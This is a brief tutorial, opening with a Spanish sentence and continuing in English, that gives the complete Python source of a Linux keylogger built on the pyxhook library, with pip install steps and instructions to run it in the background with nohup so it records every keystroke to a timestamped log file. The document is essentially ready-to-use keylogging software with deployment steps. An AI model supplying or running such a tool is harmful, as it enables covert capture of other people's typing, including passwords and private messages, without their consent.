El keylogger en Linux es un script en python. Creas el script lo ejecutas y listo
# import needed modules
import os
from datetime import datetime
import pyxhook
def main():
# Specify the name of the file (can be changed )
log_file = f'{os.getcwd()}/{datetime.now().strftime("%d-%m-%Y|%H:%M")}.log'
# The logging function with {event parm}
def OnKeyPress(event):
with open(log_file, "a") as f: # Open a file as f with Append (a) mode
if event.Key == 'P_Enter' :
f.write('\n')
else:
f.write(f"{chr(event.Ascii)}") # Write to the file and convert ascii to readable characters
# Create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard() # set the hook
try:
new_hook.start() # start the hook
except KeyboardInterrupt:
# User cancelled from command line so close the listener
new_hook.cancel()
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = f"Error while catching events:\n {ex}"
pyxhook.print_err(msg)
with open(log_file, "a") as f:
f.write(f"\n{msg}")
if __name__ == "__main__":
main()
The following instructions will install Keylogger using pip3 .
pip3 install -r requirements.txt
or
pip3 install pyxhook
How to run it
By running nohup python3 keylogger.py & command, it'll start to log your strokes: The meaning of nohup is ‘no hangup‘. When nohup command use with ‘&’ then it doesn’t return to shell command prompt after running the command in the background.
$~/Keylogger/linux$ nohup python3 keylogger.py &
[1] 12529 //this is the keylogger's PID (process ID)
$:~/Keylogger/linux$ fg
The Keylogger is now running! It will log your strokes to a file . Stop it by typing the command fg then hitting CTRL+C
or
kill {PID} for example kill 12529